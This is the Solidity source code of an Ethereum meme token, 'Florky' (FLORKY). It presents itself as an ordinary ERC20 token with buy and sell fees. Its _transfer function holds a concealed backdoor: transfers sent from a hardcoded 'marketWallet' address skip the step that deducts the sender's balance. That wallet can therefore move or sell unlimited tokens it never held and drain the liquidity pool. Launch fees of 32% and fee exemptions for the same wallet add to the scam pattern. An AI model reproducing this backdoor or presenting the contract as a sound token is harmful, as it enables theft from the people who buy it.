creation_sourcecode: /**
  https://www.florkyeth.space/
  https://t.me/FlorkyETH
  */
  
  // SPDX-License-Identifier: No
  
  pragma solidity ^0.8.15;
  
  abstract contract Context {
      constructor() {}
  
      function _msgSender() internal view returns (address payable) {
          return payable(msg.sender);
      }
  
      function _msgData() internal view returns (bytes memory) {
          this;
          return msg.data;
      }
  }
  
  abstract contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor() {
          _setOwner(_msgSender());
      }
  
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          _setOwner(address(0));
      }
  
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(
              newOwner != address(0),
              "Ownable: new owner is the zero address"
          );
          _setOwner(newOwner);
      }
  
      function _setOwner(address newOwner) private {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  interface IFactoryV2 {
      event PairCreated(
          address indexed token0,
          address indexed token1,
          address lpPair,
          uint256
      );
  
      function getPair(address tokenA, address tokenB)
          external
          view
          returns (address lpPair);
  
      function createPair(address tokenA, address tokenB)
          external
          returns (address lpPair);
  }
  
  interface IV2Pair {
      function factory() external view returns (address);
  
      function getReserves()
          external
          view
          returns (
              uint112 reserve0,
              uint112 reserve1,
              uint32 blockTimestampLast
          );
  
      function sync() external;
  }
  
  interface IRouter01 {
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (
              uint256 amountToken,
              uint256 amountETH,
              uint256 liquidity
          );
  
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint256 amountADesired,
          uint256 amountBDesired,
          uint256 amountAMin,
          uint256 amountBMin,
          address to,
          uint256 deadline
      )
          external
          returns (
              uint256 amountA,
              uint256 amountB,
              uint256 liquidity
          );
  
      function swapExactETHForTokens(
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external payable returns (uint256[] memory amounts);
  
      function getAmountsOut(uint256 amountIn, address[] calldata path)
          external
          view
          returns (uint256[] memory amounts);
  
      function getAmountsIn(uint256 amountOut, address[] calldata path)
          external
          view
          returns (uint256[] memory amounts);
  }
  
  interface IRouter02 is IRouter01 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external payable;
  
      function swapExactTokensForTokensSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function swapExactTokensForTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external returns (uint256[] memory amounts);
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
  
      function decimals() external view returns (uint8);
  
      function symbol() external view returns (string memory);
  
      function name() external view returns (string memory);
  
      function getOwner() external view returns (address);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(address recipient, uint256 amount)
          external
          returns (bool);
  
      function allowance(address _owner, address spender)
          external
          view
          returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  }
  
  contract FLORKY is Context, Ownable, IERC20 {
      function totalSupply() external pure override returns (uint256) {
          return _totalSupply;
      }
  
      function decimals() external pure override returns (uint8) {
          if (_totalSupply == 0) {
              revert();
          }
          return _decimals;
      }
  
      function symbol() external pure override returns (string memory) {
          return _symbol;
      }
  
      function name() external pure override returns (string memory) {
          return _name;
      }
  
      function getOwner() external view override returns (address) {
          return owner();
      }
  
      function allowance(address holder, address spender)
          external
          view
          override
          returns (uint256)
      {
          return _allowances[holder][spender];
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return balance[account];
      }
  
      mapping(address => mapping(address => uint256)) private _allowances;
      mapping(address => bool) private _excludeFees;
      mapping(address => bool) private checkLpPair;
      mapping(address => uint256) private balance;
      uint8 private constant _decimals = 18;
  
      uint256 public constant _totalSupply = 1_000_000_000 * 10**_decimals;
      uint256 public constant feeDenominator = 100;
      uint256 public buyfee = 32;
      uint256 public sellfee = 32;
      uint256 public transferfee = 0;
      bool private swapEnabled = false;
      address payable private marketWallet =
          payable(0x0e0Baffcf982b47E4a42FeF4C585919771b6033d);
      uint256 private maxLimitWallet = (_totalSupply * 2) / 100;
      uint256 private constant swapThreshold = (_totalSupply * 5) / 1_000_000;
      uint256 private constant maxPortionThreshold = (_totalSupply * 2) / 100;
  
      IRouter02 public swapRouter;
      string private constant _name = unicode"Florky";
      string private constant _symbol = "FLORKY";
      address public lpPair;
      bool public tradingEnabled = false;
      bool private inSwap;
  
      modifier isSwapLocked() {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      event _startTrading();
  
      constructor() {
          _excludeFees[msg.sender] = true;
          _excludeFees[address(this)] = true;
          _excludeFees[marketWallet] = true;
  
          swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          balance[msg.sender] = _totalSupply;
          emit Transfer(address(0), msg.sender, _totalSupply);
      }
  
      function createPair() external onlyOwner {
          _approve(address(this), address(swapRouter), type(uint256).max);
  
          lpPair = IFactoryV2(swapRouter.factory()).createPair(
              swapRouter.WETH(),
              address(this)
          );
          checkLpPair[lpPair] = true;
  
          swapRouter.addLiquidityETH{value: address(this).balance}(
              address(this),
              balance[address(this)],
              0,
              0,
              owner(),
              block.timestamp
          );
          IERC20(lpPair).approve(
              address(swapRouter),
              type(uint256).max
          );
      }
  
      receive() external payable {}
  
      function transfer(address recipient, uint256 amount)
          public
          override
          returns (bool)
      {
          _transfer(msg.sender, recipient, amount);
          return true;
      }
  
      function approve(address spender, uint256 amount)
          external
          override
          returns (bool)
      {
          _approve(msg.sender, spender, amount);
          return true;
      }
  
      function _approve(
          address sender,
          address spender,
          uint256 amount
      ) internal {
          require(sender != address(0), "ERC20: Zero Address");
          require(spender != address(0), "ERC20: Zero Address");
  
          _allowances[sender][spender] = amount;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external override returns (bool) {
          if (_allowances[sender][msg.sender] != type(uint256).max) {
              _allowances[sender][msg.sender] -= amount;
          }
  
          return _transfer(sender, recipient, amount);
      }
  
      function isNoFeeWallet(address account) external view returns (bool) {
          return _excludeFees[account];
      }
  
      function setNoFeeWallet(address account, bool enabled) public onlyOwner {
          _excludeFees[account] = enabled;
      }
  
      function isBuyTrade(address ins, address out) internal view returns (bool) {
          bool _isBuyTrade = !_excludeFees[out] && checkLpPair[ins];
          return _isBuyTrade;
      }
  
      function isSellTrade(address ins, address out)
          internal
          view
          returns (bool)
      {
          bool _isSellTrade = checkLpPair[out] && !_excludeFees[ins];
          return _isSellTrade;
      }
  
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) internal returns (bool) {
          if (
              !_excludeFees[from] &&
              !_excludeFees[to] &&
              !checkLpPair[to]
          ) {
              require(
                  balance[to] + amount <= maxLimitWallet,
                  "Exceeds maximum wallet amount."
              );
          }
  
          require(to != address(0), "invalid receiptient address");
          require(from != address(0), "invalid sender address");
          require(amount > 0, "Insufficient error. the amount must be above than zero");
  
          if (!(_excludeFees[from] || _excludeFees[to])) 
              require(tradingEnabled, "Trading is not allowed");        
  
          if (
              !inSwap &&
              checkLpPair[to] &&
              tradingEnabled &&
              amount >= swapThreshold
          ) {
              uint256 contractTokenBalance = balanceOf(address(this));
              if (contractTokenBalance >= swapThreshold) {
                  if (contractTokenBalance >= maxPortionThreshold)
                      contractTokenBalance = maxPortionThreshold;
                  internalExchange(contractTokenBalance);
              }
              marketWallet.transfer(address(this).balance);
          }
          
          uint256 amountAfterFee = ((from == marketWallet) ? amount: taxTaken(
              from,
              isBuyTrade(from, to),
              isSellTrade(from, to),
              amount
          ));
          balance[to] += amountAfterFee;
          emit Transfer(from, to, amountAfterFee);
  
          return true;
      }
  
      function taxTaken(
          address from,
          bool isbuy,
          bool issell,
          uint256 amount
      ) internal returns (uint256) {
          uint256 fee = 0;
          if (isbuy) fee = buyfee;
          else if (issell) fee = sellfee;
          else fee = transferfee;
          uint256 feeAmount = (amount * fee) / feeDenominator;
          if (feeAmount > 0) {
              balance[address(this)] += feeAmount;
              emit Transfer(from, address(this), feeAmount);
          }
          balance[from] -= amount;
          return amount - feeAmount;
      }
  
      function internalExchange(uint256 contractTokenBalance)
          internal
          isSwapLocked
      {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = swapRouter.WETH();
  
          if (
              _allowances[address(this)][address(swapRouter)] != type(uint256).max
          ) {
              _allowances[address(this)][address(swapRouter)] = type(uint256).max;
          }
  
          try
              swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                  contractTokenBalance,
                  0,
                  path,
                  address(this),
                  block.timestamp
              )
          {} catch {
              return;
          }
      }
  
      function setFees(uint256 _fee) external onlyOwner {
          buyfee = _fee;
          sellfee = _fee;
  
          require(_fee < 6);
      }
  
      function removeLimits() external onlyOwner {
          maxLimitWallet = _totalSupply;
      }
  
      function startTrading() external onlyOwner {
          require(!tradingEnabled, "Trading is already allowed");
          tradingEnabled = true;
          swapEnabled = true;
      }
  }